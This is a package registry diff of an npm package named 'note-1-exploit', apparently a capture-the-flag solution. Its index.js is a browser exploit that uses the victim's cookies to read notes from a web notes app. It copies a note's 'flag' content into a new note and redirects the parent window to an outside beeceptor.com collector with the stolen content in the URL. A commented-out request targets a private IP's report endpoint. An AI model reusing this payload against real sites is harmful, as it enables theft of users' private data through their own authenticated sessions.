note-1-exploit 1.0.28 → 1.0.29
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +33 -5
- package/package.json +1 -1
    
        package/index.js
    CHANGED
    
    | @@ -1,5 +1,5 @@ | |
| 1 1 | 
             
            async function exploit() {
         | 
| 2 | 
            -
                let  | 
| 2 | 
            +
                let json_results = await fetch("/api/notes/all", {
         | 
| 3 3 | 
             
                    "headers": {
         | 
| 4 4 | 
             
                        "accept": "*/*",
         | 
| 5 5 | 
             
                        "accept-language": "zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7",
         | 
| @@ -9,8 +9,7 @@ async function exploit() { | |
| 9 9 | 
             
                    "method": "GET",
         | 
| 10 10 | 
             
                    "mode": "cors",
         | 
| 11 11 | 
             
                    "credentials": "include"
         | 
| 12 | 
            -
                }).then(res => res)
         | 
| 13 | 
            -
                let json_results = await all_results.json();
         | 
| 12 | 
            +
                }).then(res => res.json())
         | 
| 14 13 | 
             
                let note_name = (Math.random() + 1).toString(36).substring(7);
         | 
| 15 14 | 
             
                await fetch("/login", {
         | 
| 16 15 | 
             
                    "headers": {
         | 
| @@ -27,6 +26,19 @@ async function exploit() { | |
| 27 26 | 
             
                    "redirect": "follow",
         | 
| 28 27 | 
             
                    "credentials": "include"
         | 
| 29 28 | 
             
                });
         | 
| 29 | 
            +
                let flag_1 = await fetch("/api/notes?id=" + json_results[0].id, {
         | 
| 30 | 
            +
                    "headers": {
         | 
| 31 | 
            +
                        "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8",
         | 
| 32 | 
            +
                        "accept-language": "zh-TW,zh;q=0.9",
         | 
| 33 | 
            +
                        "sec-gpc": "1",
         | 
| 34 | 
            +
                        "upgrade-insecure-requests": "1"
         | 
| 35 | 
            +
                    },
         | 
| 36 | 
            +
                    "body": null,
         | 
| 37 | 
            +
                    "method": "GET",
         | 
| 38 | 
            +
                    "mode": "cors",
         | 
| 39 | 
            +
                    "credentials": "include"
         | 
| 40 | 
            +
                }).then(res => res.json())
         | 
| 41 | 
            +
                    .then(res => res.content);
         | 
| 30 42 | 
             
                await fetch("/api/notes", {
         | 
| 31 43 | 
             
                    "headers": {
         | 
| 32 44 | 
             
                        "accept": "*/*",
         | 
| @@ -34,11 +46,27 @@ async function exploit() { | |
| 34 46 | 
             
                        "content-type": "application/json",
         | 
| 35 47 | 
             
                        "sec-gpc": "1"
         | 
| 36 48 | 
             
                    },
         | 
| 37 | 
            -
                    "body": "{\"title\":\"" + note_name + "\",\"content\":\"" +  | 
| 49 | 
            +
                    "body": "{\"title\":\"" + note_name + "\",\"content\":\"" + flag_1.content + "\"}",
         | 
| 38 50 | 
             
                    "method": "POST",
         | 
| 39 51 | 
             
                    "mode": "cors",
         | 
| 40 52 | 
             
                    "redirect": "follow",
         | 
| 41 53 | 
             
                    "credentials": "include"
         | 
| 42 54 | 
             
                });
         | 
| 43 | 
            -
                window.parent.location.replace("https://omniman.free.beeceptor.com?q=" +  | 
| 55 | 
            +
                window.parent.location.replace("https://omniman.free.beeceptor.com?q=" + flag_1);
         | 
| 56 | 
            +
                // fetch("http://10.113.184.121:10082/report", {
         | 
| 57 | 
            +
                //     "headers": {
         | 
| 58 | 
            +
                //         "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8",
         | 
| 59 | 
            +
                //         "accept-language": "zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7",
         | 
| 60 | 
            +
                //         "cache-control": "max-age=0",
         | 
| 61 | 
            +
                //         "content-type": "application/x-www-form-urlencoded",
         | 
| 62 | 
            +
                //         "sec-gpc": "1",
         | 
| 63 | 
            +
                //         "upgrade-insecure-requests": "1"
         | 
| 64 | 
            +
                //     },
         | 
| 65 | 
            +
                //     "referrer": "http://10.113.184.121:10082/note?id=d2fb5034-dfa3-4fbe-be8e-7f75ff8d53a7",
         | 
| 66 | 
            +
                //     "referrerPolicy": "strict-origin-when-cross-origin",
         | 
| 67 | 
            +
                //     "body": "note_id=d2fb5034-dfa3-4fbe-be8e-7f75ff8d53a7&author=nnnddd",
         | 
| 68 | 
            +
                //     "method": "POST",
         | 
| 69 | 
            +
                //     "mode": "cors",
         | 
| 70 | 
            +
                //     "credentials": "include"
         | 
| 71 | 
            +
                // });
         | 
| 44 72 | 
             
            };
         |